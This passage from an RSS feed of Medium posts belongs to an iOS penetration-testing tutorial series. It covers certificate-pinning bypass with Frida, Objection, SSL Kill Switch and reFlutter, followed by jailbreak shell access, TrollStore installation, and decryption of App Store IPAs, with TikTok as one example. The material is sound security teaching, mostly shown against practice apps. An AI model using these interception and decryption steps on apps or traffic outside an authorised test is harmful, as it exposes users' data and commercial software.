src="https://cdn-images-1.medium.com/max/866/1*En2p18mrHa19Vcqfgs54xQ.png" /></figure><p><strong>4. Vulnerable behavior (no pinning or weak):</strong></p><ul><li>Traffic flows normally through Burp → You see full request/response bodies.</li><li>This confirms the app accepted Burp’s fake certificate → No pinning.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*Am7Qy1aBgOU9CuQytqw-4A.png" /></figure><h3>4. Bypassing Certificate Pinning</h3><p>Let’s open the <strong>DVIA v2</strong> vulnerable app &gt; Network Layer Security &gt; click <strong>Send using certificate pinning &amp; send using public key pinning.</strong>and attempt to intercept its network traffic.</p><p>The application enforces <strong>network-layer security</strong> using <strong>certificate pinning. </strong>As a result, when we try to proxy the traffic, the application fails to establish a secure connection and throws an SSL/TLS error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*6jvajenjyKlTwwWqUMK2ow.png" /></figure><p><strong>To successfully intercept the traffic, we must use one of the below bypass methods:</strong></p><h4><strong>Method 1: </strong>SSL Kill Switch 3<strong> Tweaks (Fastest &amp; Easiest)</strong></h4><ul><li>add this repo <a href="https://repo.misty.moe/apt">https://repo.misty.moe/apt</a> to Sileo/Zebra → Search “SSL Kill Switch 3” → Install it and click on Restart SpringBoard.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*-k2pYRMJt7gRBljbR-mUHg.png" /></figure><ul><li>Go to Settings → SSL Kill Switch → Enable Disable Certificate Validation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aP3XMKMgpp-DpMnqsIEpPw.jpeg" /></figure><ul><li>Re-open <strong>DVIA 2</strong> vulnerable app &gt; Network Layer Security &gt; click <strong>Send using certificate pinning &amp; send using public key pinning.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5CelLRbK8ok9VJcMWXScuw.jpeg" /></figure><ul><li>Traffic should now fully proxy through Burp</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*qVjDabraqhIyglEz4oXy-g.png" /></figure><h4><strong>Method 2: Frida Scripts (Dynamic &amp; Powerful)</strong></h4><p>Frida is one of the most flexible and reliable ways to bypass certificate pinning at runtime — it hooks into the app’s SSL/TLS validation functions and forces them to accept Burp’s fake certificate. This method works extremely well on most apps (including those with anti-debugging), even when tweaks like SSL Kill Switch fail.</p><p><strong>Prerequisites (recap from Part 2):</strong></p><ul><li>Frida server installed and running on the jailbroken device (via Sileo → <a href="https://build.frida.re/?referrer=grok.com">https://build.frida.re</a> repo).</li><li>Frida tools installed on your laptop: pip install frida-tools (or pipx install frida-tools).</li><li>Device connected via USB (recommended) or same Wi-Fi network.</li><li>Burp listener active (iproxy 8080 8080 or Wi-Fi proxy) + CA trusted.</li></ul><p><strong>Step-by-step:</strong></p><ol><li><strong>List installed / running apps to get the Bundle ID</strong></li></ol><p><em>frida-ps -Uai | grep -i dvia</em></p><ul><li>Copy the Bundle ID (e.g., com.highaltitudehacks.DVIAswiftv2).</li></ul><p>2. Try codeshare Frida scripts</p><p>These are pre-written, community-tested scripts that disable common pinning implementations.</p><ul><li><strong>Attach to running app (recommended — no restart needed):</strong></li></ul><pre>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare lichao890427/ios-ssl-bypass<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare snooze6/ios-pinning-disable<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare federicodotta/ios13-pinning-bypass<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare dki/ios10-ssl-bypass</pre><ul><li><strong>Or spawn (launch) the app fresh with script:</strong></li></ul><p><em>frida -U -f com.highaltitudehacks.DVIAswiftv2 -l bypass1.js</em></p><p>3. <strong>If codeshare scripts fail — try custom or alternative scripts</strong> Some apps use non-standard pinning (e.g., TrustKit, custom NSURLSession delegates, or Flutter/Dart pinning). Download and use these:</p><ul><li><strong>TheBountyBox / Awesmoe Frida Scripts</strong> (highly recommended collection): <a href="https://github.com/TheBountyBox/Awesmoe-Frida-Scripts?referrer=grok.com">https://github.com/TheBountyBox/Awesmoe-Frida-Scripts</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*85c75OhdPR0NhKKs4AnUJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5ia7Bf7SpNcqKLNTavxEw.png" /></figure><ul><li>App launches with pinning disabled → Full HTTPS in Burp.</li></ul><h4><strong>Method 3: Objection (Frida CLI Wrapper)</strong></h4><p>Objection is a powerful, high-level wrapper around Frida that simplifies runtime exploration and bypassing of iOS security controls — including certificate pinning — with simple commands.</p><ul><li>pip install objection (if not already).</li><li><strong>List installed apps</strong> frida-ps -Uai | grep -i dvia</li><li><strong>Launch Objection &amp; Disable SSL Pinning</strong></li></ul><p>objection -n com.highaltitudehacks.DVIAswiftv2 start</p><p>ios sslpinning disable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Hqp-rDrOaew9-kYZBRBQTA.png" /></figure><h4><strong>Method 4: Binary Patching (Advanced — Persistent)</strong></h4><p>Binary patching is an advanced technique that achieves a <strong>persistent SSL pinning bypass</strong> by <strong>statically modifying the application binary</strong>.</p><p>This approach is especially useful when applications implement <strong>anti-instrumentation, anti-debugging, or Frida detection</strong>, or when a long-term and restart-resistant bypass is required.</p><p>We will demonstrate this technique in the binary patching and jailbreak detection bypass part.</p><h3>5. Intercepting &amp; Bypassing Flutter Traffic</h3><p>Flutter applications on iOS implement their own networking stack inside the Flutter engine, which means traditional iOS interception techniques (ATS configuration, NSURLSession hooks, system proxy settings) often <strong>do not work</strong>. As a result, Flutter apps require <strong>special identification and handling</strong> during penetration testing.</p><h4>5.1 Identifying a Flutter Application</h4><p>Before attempting interception, confirm that the target application is built with Flutter. A reliable indicator is the presence of the following framework inside the app bundle:</p><p><em>Payload/Runner.app/Frameworks/Flutter.framework/Flutter</em></p><p>If this framework exists, the application is using Flutter’s engine-level TLS implementation, and standard iOS SSL pinning bypass techniques may fail.</p><h4>5.2 Intercepting Flutter Network Traffic</h4><p><strong>Potatso (Best Option — Worked Successfully)</strong></p><p>Potatso operates as a local VPN on iOS and was able to intercept Flutter traffic reliably without requiring additional runtime tooling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*-ptgk6VaC1pEGD9VbSzAaw.png" /></figure><h4>5.3 Bypassing Flutter SSL Pinning</h4><p>Flutter applications typically enforce TLS verification inside the Flutter engine, making standard iOS pinning bypass scripts ineffective. Two main approaches can be used:</p><h4>Method 1: Static Bypass Using reFlutter</h4><p><a href="https://github.com/Impact-I/reFlutter"><strong>reFlutter</strong></a> allows repackaging a Flutter IPA with TLS verification disabled at the engine level.</p><p><strong>Workflow:</strong></p><ol><li>Repatch the original IPA using reFlutter</li><li>Re-sign and install the patched application</li><li>Intercept traffic using Potatso</li></ol><p>This method was successfully used during a <strong>real penetration testing engagement</strong>, where Flutter TLS pinning initially blocked interception.</p><p><strong>Proof of Concept Included:</strong></p><ul><li>TLS handshake failure before patching</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*ZMHGEYPwmmigEjHuYFkNNA.png" /></figure><ul><li>Successful reFlutter patch applied to the IPA</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*Goh1om0c_nA7BB0ZscILHw.png" /></figure><ul><li>Full HTTPS traffic interception after patching</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zov-I91-hmhkwxo03vv1Aw.png" /></figure><h4>Method 2: Dynamic Bypass Using Frida</h4><p>As an alternative, Flutter TLS verification can be bypassed dynamically using Frida-based scripts, such as:</p><ul><li><a href="https://github.com/NVISOsecurity/disable-flutter-tls-verification">disable-flutter-tls-verification</a></li></ul><blockquote>Dynamic bypass is useful for <strong>quick analysis</strong>, but static patching remains the preferred approach for long-term testing.</blockquote><blockquote>Stay tuned for Part ,where we will test jailbreak detection mechanisms and iOS Platform APIs.</blockquote><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p>#MasteringiOSPentesting #Jailbreak #MobileSecurity</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba9557cef992" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/part-3-intercepting-https-traffic-bypassing-certificate-pinning-flutter-protections-testing-ba9557cef992">Part 3 — Intercepting HTTPS Traffic, Bypassing Certificate Pinning &amp; Flutter Protections (Testing…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering iOS Pentesting: Part 2 — Shell Access, File Transfers, IPA-App Signing, TrollStore & IPA…]]></title>
            <link>https://medium.com/sud0root/mastering-ios-pentesting-part-2-shell-access-file-transfers-ipa-app-signing-trollstore-ipa-1dcf484b5036?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/1dcf484b5036</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybercrime]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 00:46:28 GMT</pubDate>
            <atom:updated>2026-01-18T00:46:28.813Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Mastering iOS Pentesting: Part 2 — </strong>Shell Access, File Transfers, IPA-App Signing, TrollStore &amp; IPA Dumping &amp; Decrypting</h3><blockquote>Welcome back to the Mastering iOS Pentesting series! In Part 1, we successfully jailbroke our test devices (Dopamine on iPhone 7 iOS 15.8.5 and palera1n on iPhone X iOS 16.7.12). With root access unlocked, we’re ready to install tools, access the shell, handle IPAs, and intercept traffic.</blockquote><blockquote>This part focuses on the essential post-jailbreak workflows for real pentesting: remote/local shell, file transfers and manager, signing &amp; installing ipa apps, decrypting installed apps (IPA dumping). We’ll use vulnerable apps like DVIA-v2, iGoat-Swift, and OWASP MASTG crackmes for examples.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1ePE-ULfZBsWjpc_1cYAw.png" /></figure><h3>Table of Contents for Part 2</h3><ol><li><strong>Introduction &amp; Recap</strong></li></ol><ul><li>From jailbreak to post-jailbreak workflows &amp; Vulnerable apps used in demos</li></ul><p><strong>2. Package Managers — Sileo &amp; Zebra</strong></p><p><strong>3. Remote Shell Access (SSH) &amp; USB Forwarding</strong></p><ul><li>Install &amp; connect OpenSSH</li><li>USB iproxy forwarding &amp; troubleshooting</li></ul><p><strong>4. On-Device Local Shell Access</strong></p><ul><li>Install &amp; use NewTerm</li></ul><p><strong>5. File Transfers Between Device &amp; PC</strong></p><ul><li>scp examples (Wi-Fi &amp; USB) &amp; AirDrop alternative</li><li>Fix host key errors</li></ul><p><strong>6. Installing Filza File Manager</strong></p><ul><li>Installation &amp; key pentesting paths</li><li>Quick usage tips</li></ul><p><strong>7. Signing &amp; Installing Apps (TrollStore Focus)</strong></p><ul><li>Temporary methods recap</li><li>Permanent install with TrollStore</li></ul><p><strong>8. Dumping &amp; Decrypting App Store IPAs</strong></p><ul><li>Why needed</li><li>Primary methods: DumpDecrypter, Frida-iOS-dump, Filza manual</li><li>Other Methods (summary)</li></ul><h3>Step 2: Package Manager (Sileo &amp; Zebra)</h3><p>(Note: We already handled the initial installation of Sileo and Zebra directly during the jailbreak process in Part 1 — via the Dopamine app prompt or palera1n app. Both jailbreaks bundle and install them automatically when you select the package managers and complete the respring.)</p><p>If they didn’t install, got removed, or you need to reinstall/refresh</p><blockquote>Note: <a href="https://ios-repo-updates.com/?referrer=grok.com">https://ios-repo-updates.com</a> (very useful — to find and install any tweaks: open ios-repo-updates.com in Safari, search for the tweak name, and it will show you the exact repo/source to add in Sileo/Zebra)</blockquote><p>Tip: Use both Sileo (speed) and Zebra (better UI/browsing). Avoid adding too many repos at once to prevent conflicts or slow refreshes.</p><h3>Step 3: Shell Access — Remote SSH &amp; Localhost forwarding via USB</h3><p><strong>Install OpenSSH on both jailbreak methods</strong></p><ol><li><strong>In Sileo (or Zebra):</strong></li></ol><ul><li>Go to Search tab.</li><li>Search for <strong>OpenSSH</strong> (usually from Procursus repo — it should already be added by default).</li><li>Install the latest version.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*eVGME-4CWE20uugY4--XRA.png" /></figure><p><strong>2. After installation, SSH service should auto-start</strong>. (Password was set during jailbreak success)</p><p><strong>3. Connect from your PC/Mac to jailbroken device:</strong></p><ul><li>Find device IP: Settings → Wi-Fi → [your network] → IP Address (e.g., 192.168.1.42)</li><li>Terminal command (Default user is mobile):</li></ul><pre>ssh mobile@192.168.1.42</pre><ul><li>Once inside:</li></ul><pre>sudo su</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rjQc4Xb2RceDeIejVR1-hA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ev8dl-pbrG7NJCPza5yP2g.png" /></figure><p><strong>4. If you still can’t connect:</strong></p><ul><li>Reboot userspace (respring) or toggle Airplane Mode off/on.</li><li>Check if OpenSSH is running: In NewTerm → ps aux | grep sshd</li></ul><p><strong>5. Localhost forwarding option (via USB):</strong></p><ul><li>On PC: Run <em>iproxy 2222 22</em> (install libimobiledevice first: <em>brew install libimobiledevice)</em></li><li>Then connect: <em>ssh -p 2222 mobile@localhost</em></li></ul><h3>Step 4: Access the Device (On-Device Shell) — Local on iPhone</h3><p>Install a terminal app to get a full shell directly on the device (useful when no PC is nearby).</p><p><strong>On both jailbreak methods (Dopamine &amp; palera1n):</strong></p><ol><li>Open Sileo (or Zebra).</li><li>Go to Sources → Chariz (or search globally).</li><li>Search for: <strong>NewTerm</strong> (recommended — modern, supports root) or <strong>NewTerm 2</strong></li></ol><p>4. Install → Respring if prompted.</p><p>5. Open NewTerm from Home Screen.</p><ul><li>You start as mobile user → type su or sudo su → enter your password to become root.</li><li>Now you have a full local terminal on the iPhone.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EcLZIsUKXqBFeEttLh0HA.png" /></figure><h3>Step 5: Transferring Data Between Device and PC (scp, AirDrop)</h3><ol><li><strong>Copy file from PC → Mobile</strong></li></ol><ul><li>Via direct remote SSH (Wi-Fi):scp ~/Downloads/my-app.ipa mobile@192.168.1.42:/var/mobile/Documents/</li><li>Via USB forwarding (recommended for reliability): iproxy 2222 22 scp -P 2222 ~/Downloads/Nhccommunity.ipa mobile@localhost:/var/mobile/Documents/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mzko5stAyxZu4keZZn9SJg.png" /></figure><p><strong>2. Copy file from Mobile → PC</strong></p><ul><li>Via remote SSH (Wi-Fi IP): scp mobile@192.168.1.42:/var/mobile/Media/DCIM/100APPLE/IMG_0001.JPG ~/Desktop/</li><li>Via USB forwarding:iproxy 2222 22 scp -P 2222 mobile@localhost:/var/containers/Bundle/Application/093C6930-8B9E-4D9E-874D-D31B28AAF48E/music.ipa .</li></ul><p><strong>3. Copy a folder recursively</strong></p><pre>scp -r root@192.168.1.42:/var/mobile/Containers/Data/Application/ ./app_data_backup/</pre><p><strong>4. Quick help / syntax reminder</strong></p><pre>scp mobile@&lt;IP&gt;:&lt;path_on_device&gt; &lt;local_destination&gt;<br>scp -P 2222 mobile@localhost:&lt;remote_path&gt; &lt;local_path&gt;</pre><p><strong>5. Solve “Host key verification failed” again</strong></p><pre>ssh-keygen -R &quot;[localhost]:2222&quot;<br># or<br>ssh-keygen -R &quot;[127.0.0.1]:2222&quot;</pre><p>Alternative: AirDrop — Enable on both Mac and iPhone → right-click file → Share → AirDrop (fast for small files).</p><h3><strong>Setp 6: </strong>Installing Filza File Manager (Essential Filesystem Explorer)</h3><p>Filza is the go-to on-device file manager for iOS pentesting. It lets you browse the full filesystem (including /var/mobile/Containers/, app sandboxes, /Library/Preferences/, keychain files, and more), edit plists, view databases (SQLite/Realm), extract IPA contents, and much more — all graphically without needing a PC.</p><p><strong>Quick Installation Steps (Dopamine &amp; palera1n):</strong></p><ol><li>Open <strong>Sileo</strong> (preferred) or <strong>Zebra</strong>.</li><li>Search for <strong>Filza</strong> or <strong>Filza File Manager</strong>.</li><li>Install the latest version (by Tigisoftware, usually 4.x in 2026).</li><li>Respring if prompted (or manually: hold power + volume up, or in NewTerm: killall -9 SpringBoard).</li><li>Open Filza from Home Screen (blue folder icon with white “F”).</li></ol><ul><li>Grant full access (jailbreak allows it).</li><li>Navigate to key paths:</li><li>/var/mobile/Containers/Bundle/Application/ → Installed apps</li><li>/var/mobile/Containers/Data/Application/ → App data &amp; sandboxes</li><li>/var/mobile/Library/Preferences/ → Plist configs</li><li>/var/mobile/Documents/ → Transferred files/IPAs</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_3PvHaV5RuILfwz9cwq4Qw.png" /></figure><p><strong>Quick Tips for Pentesting:</strong></p><ul><li>Use the search magnifying glass to find files fast (e.g., “.plist”, “keychain”).</li><li>Long-press any file → Open in Hex/Text/SQLite viewer.</li><li>To extract .ipa: Tap file → View Contents → Explore Payload/YourApp.app/.</li><li>Run as root (toggle in Filza settings) for full read/write.</li></ul><h3>Step 7: Signing &amp; Installing Apps</h3><p><strong>Two main approaches:</strong></p><ul><li><strong>SideLoadly / AltStore / 3uTools</strong> — Safe, temporary sideloading (7-day limit) — even on non-jailbroken devices. (We mentioned SideLoadly in Part 1 for installing Dopamine itself.)</li><li><strong>TrollStore</strong> — Permanent installs (no expiry) — ideal for jailbroken devices or exploitable versions. Perfect for pentesting tools and vulnerable apps.</li></ul><p><strong>TrollStore Installation (Jailbroken with palera1n or Dopamine-compatible)</strong></p><ol><li>Open your package manager (Sileo / Zebra).</li><li>Search and install <strong>TrollStore Helper</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*EkmorJOmRaJ776cuyQqjBw.png" /></figure><p>3. After install → Home Screen → open <strong>TrollHelper</strong> app.</p><p>4. Inside TrollHelper → tap <strong>Install TrollStore</strong>.</p><p>5. Wait — device will respring.</p><p>6. TrollStore icon appears on Home Screen.</p><p>7. Open TrollStore → tap <strong>Install Persistence Helper</strong> → choose any system app (e.g., Tips.app or Measure) to make it permanent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*XKHPuxA1iYU1gkRGCuGU-A.png" /></figure><p>8. Now you can install any .ipa permanently:</p><ul><li>Transfer IPA to device (via scp, AirDrop, Filza).</li><li>In Filza → tap the .ipa → Share → Open in TrollStore → Install.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*dllgYPJdUCubvpblIEvj6Q.png" /></figure><p><strong>How it works:</strong> Exploits CoreTrust bug → bypasses Apple signing limits. <strong>Limitations:</strong> Only works on supported iOS versions with the vulnerability.</p><h3><strong>Step 8: Dumping &amp; Decrypting App Store IPAs (Essential for Static Analysis)</strong></h3><p>App Store binaries are encrypted — to perform proper reverse engineering, look for hardcoded secrets, patch binaries, or analyze frameworks, you need a decrypted .ipa. All effective methods require a jailbroken device (as set up in Part 1).</p><p><strong>We’ll cover them in order of current real-world preference in 2026 pentesting workflows:</strong></p><ol><li>DumpDecrypter (easiest on-device GUI)</li><li>Frida-iOS-dump (most powerful &amp; reliable — primary recommendation)</li><li>Filza manual bundle extraction (quick fallback)</li><li>Others (iMazing &amp; legacy tools — summary only)</li></ol><h4>Method 1: DumpDecrypter (GUI — Beginner Friendly)</h4><p>DumpDecrypter is a jailbreak utility that decrypts App Store–installed iOS applications directly on a device. It produces decrypted .ipa files for analysis, reverse engineering, or personal backup.</p><p><strong>Installation:</strong></p><ol><li><strong>Open your package manager</strong> (Cydia, Sileo, Zebra, etc.).</li><li>Navigate to <strong>Sources → Edit → Add</strong>.</li><li>Add a trusted repository URL, e.g.:</li></ol><ul><li><a href="https://jailrepo.initnil.com/">https://jailrepo.initnil.com</a></li><li><a href="https://invalidunit.github.io/netskao-archive/">https://invalidunit.github.io/netskao-archive/</a></li></ul><p><strong>4. Refresh sources</strong> and search for <strong>DumpDecrypter</strong> or <strong>DumpDecrypter-Rootless</strong></p><p>5. Tap <strong>Install</strong>, then <strong>Respring</strong> or <strong>Reboot</strong> your device.</p><p>6. Launch <strong>DumpDecrypter</strong> from your home screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Ea8-NPV2zwSLPlSZmP4Ipw.png" /></figure><p><strong>Usage:</strong></p><ol><li>Open DumpDecrypter.</li><li>Select the target app e.g. TikTok from the list (must be installed; launch it once if needed).</li><li>Wait for decryption (progress bar shown).</li><li><strong>Decrypted.ipa</strong> saves automatically to: <strong>/var/mobile/Documents/DumpDecrypter/</strong> (or similar — check app info).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*wP7AZadmcdRQ2cyfqB2XMw.png" /></figure><p>5. Transfer via SSH (USB forwarding example):</p><pre>iproxy 2222 22<br>scp -P 2222 mobile@localhost:/var/mobile/Documents/DumpDecrypter/TikTok.ipa .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cUqbn3CSMSq7p8cdt12hdQ.png" /></figure><p><strong>Pros:</strong> One-tap simplicity, no computer needed.</p><p><strong>Cons:</strong> Crashes/fails on apps with anti-debugging or strong runtime protections.</p><h4>Method 2: Frida-iOS-dump (CLI from Computer)</h4><p>Frida-iOS-dump is the gold standard in 2026 for pentesting — it dumps from memory while the app runs, bypassing many protections that kill on-device dumpers.</p><p><strong>Prerequisites:</strong></p><ul><li>Frida server on device: Sileo → Add <a href="https://build.frida.re/?referrer=grok.com">https://build.frida.re</a> → Install “Frida”.</li><li>Frida tools on PC: <em>pip install frida-tools</em> (or pipx).</li><li>USB preferred: <em>iproxy 2222 22</em></li></ul><p><strong>Steps:</strong></p><ol><li>List running apps &amp; get Bundle ID / display name: frida-ps -Ua</li></ol><p>(If multiple devices connected: <em>frida-ls-devices </em>→ <em>frida-ps -D &lt;id&gt; -Ua</em>)</p><p>2. Clone &amp; prepare (once):</p><pre>git clone https://github.com/AloneMonkey/frida-ios-dump.git <br>cd frida-ios-dump <br>pip3 install -r requirements.txt</pre><p>3. Forward SSH over USB: iproxy 2222 22</p><p>4. Dump (app must be open/foreground): python3 dump.py &quot;App Display Name&quot; --user mobile --password faris --output decrypted-app.ipa</p><p>or by Bundle ID: python3 dump.py com.example.app --user mobile --password faris --output term.ipa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*YvWSgG0SufuJVq1dpqO0xA.png" /></figure><p><strong>Advantages:</strong> Handles anti-debugging/anti-hooking very well, clean decrypted binaries, remote control.</p><h4>Method 3: Quick Fallback Method: Filza Manual Bundle Extraction</h4><p>When Frida or DumpDecrypter fail, manually grab the decrypted bundle from disk (works if app was running and decrypted in memory).</p><ol><li>Open <strong>Filza</strong>.</li><li>Go to: <strong>/var/containers/Bundle/Application/</strong> → Find app’s UUID folder.</li><li>Inside: Long-press <strong>YourApp.app</strong> → Copy.</li><li>Create folder <strong>Payload</strong> in /var/mobile/Documents/ (or elsewhere).</li><li>Paste YourApp.app inside Payload.</li><li>Long-press Payload → Compress/Zip → Rename zip file to <strong>YourApp.ipa</strong>.</li></ol><ul><li>Or via SSH/NewTerm (as root):cd /path/to/Payload &amp;&amp; zip -r ../YourApp.ipa YourApp.app</li></ul><p>7. Transfer:scp -P 2222 mobile@localhost:/var/mobile/Documents/YourApp.ipa .</p><p><strong>Limitation:</strong> Only extracts what’s already decrypted on disk — not full runtime decryption for heavily protected apps.</p><h4>Other Methods (Summary — Use Sparingly)</h4><ul><li><strong>iMazing</strong> (no jailbreak needed): GUI backup tool from computer (imazing.com). Can extract some app data, but <strong>cannot fully decrypt</strong> modern App Store binaries (only partial/unusable for RE). Trial limited — mention only for non-jailbroken scenarios.</li><li><strong>IPA Installer</strong> (legacy): Old CLI tweak (ipainstaller -b &lt;bundleid&gt;) — almost never works reliably in 2026. Deprecated — skip unless you have a very old setup.</li></ul><p>Once you have the decrypted .ipa, unzip it and start static analysis (Info.plist, Mach-O in Hopper/Ghidra, frameworks, etc.).</p><blockquote>Stay tuned for Part 3 — where we defeat iOS network protections and perform real traffic analysis!</blockquote><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p>#MasteringiOSPentesting #Jailbreak #MobileSecurity</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1dcf484b5036" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-ios-pentesting-part-2-shell-access-file-transfers-ipa-app-signing-trollstore-ipa-1dcf484b5036">Mastering iOS Pentesting: Part 2 — Shell Access, File Transfers, IPA-App Signing, TrollStore &amp; IPA…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering iOS Pentesting: Part 1 — Jailbreaking Your Devices (Dopamine & palera1n)]]></title>
            <link>https://medium.com/@frsfaisall/mastering-ios-pentesting-part-1-jailbreaking-your-devices-dopamine-palera1n-200ae1dc7542?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/200ae1dc7542</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Fri, 16 Jan 2026 23:08:23 GMT</pubDate>
            <atom:updated>2026-01-16T23:08:23.182Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering iOS Pentesting: Part 1 — Jailbreaking Your Devices (Dopamine &amp; palera1n)</h3><blockquote>Welcome to the first installment of this <strong>practical iOS Pentesting Series</strong> on Medium! This hands-on guide focuses on mobile application security testing for iOS, drawing from real-world workflows and fully aligned with the <strong>OWASP Mobile Application Security Verification Standard (MASVS)</strong> and <strong>Mobile Application Security Testing Guide (MASTG)</strong> — the definitive references for mobile app security.</blockquote><blockquote>We’ll cover everything from foundational iOS concepts to building a robust pentesting lab, using vulnerable apps like <strong>DVIA-v2.ipa</strong>, <strong>iGoat-Swift</strong>, various crackmes, and official <strong>OWASP MASTG crackmes/apps</strong> for demonstrations. All steps are up-to-date as of early 2026.</blockquote><blockquote><strong>Why this series?</strong> High-quality, practical Arabic/English content on iOS pentesting remains scarce. This work is dedicated as <strong>sadaqah jariyah</strong> to my grandmother’s soul — may Allah have mercy on her. We’ll start with essentials before diving into vulnerabilities.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*penuVsvd2UGBzt_V04GPow.png" /></figure><h3>Table of Contents for Part 1</h3><ol><li><strong>Introduction</strong></li><li><strong>Basics of iOS: Understanding the Platform Before Pentesting</strong></li></ol><p>2.1 iOS Components and Architecture</p><p>2.2 Structure of an iOS Application (.ipa File Breakdown)</p><p>2.3 Sandboxing in iOS (Containers, Paths, Security Implications)</p><p><strong>3. Lab Setup: Jailbreaking Real iOS Devices</strong></p><ul><li>Why Jailbreak? (Root Access for Frida, Dumping, Filesystem Exploration)</li><li>Devices Used: iPhone 7 (iOS 15.8.5) &amp; iPhone X (iOS 16.7.12)</li></ul><p><strong>3.1 First Jailbreak Method: Dopamine on iPhone 7 (Semi-Untethered)</strong></p><p><strong>3.2 Second Jailbreak Method: palera1n on iPhone X (Semi-Tethered)</strong></p><ul><li>Troubleshooting Tips (Cable/DFU Issues, Recovery Stuck)</li></ul><h3>2. Basics of iOS: Understanding the Platform Before Pentesting</h3><p>Before jumping into tools and jailbreaking, grasp how iOS apps are built and secured. This foundation helps you spot misconfigurations during analysis.</p><h4>2.1 iOS Components and Architecture</h4><p><strong>iOS is layered:</strong></p><ul><li><strong>Core OS</strong> (lowest level: kernel, drivers, file system).</li><li><strong>Core Services</strong> (networking, accounts, location).</li><li><strong>Media</strong> (graphics, audio/video).</li><li><strong>Cocoa Touch</strong> (UI layer with UIKit/SwiftUI for apps).</li></ul><p>Apps run in a sandboxed environment on top of these layers. For pentesting, focus on how apps interact with the filesystem, keychain, and network.</p><h4>2.2 Structure of an iOS Application (IPA File)</h4><p>An <strong>.ipa</strong> file is a zipped archive containing your app’s code, resources, and metadata — essentially the “installer package” for iOS.</p><p><strong>Key contents when you unzip an .ipa:</strong></p><ul><li><strong>Payload/</strong> folder (main content):</li><li><strong>YourApp.app/</strong> (the actual app bundle — a directory, not a file):</li><li><strong>Info.plist</strong>: Critical metadata (bundle ID, version, permissions like NSPhotoLibraryUsageDescription, URL schemes, 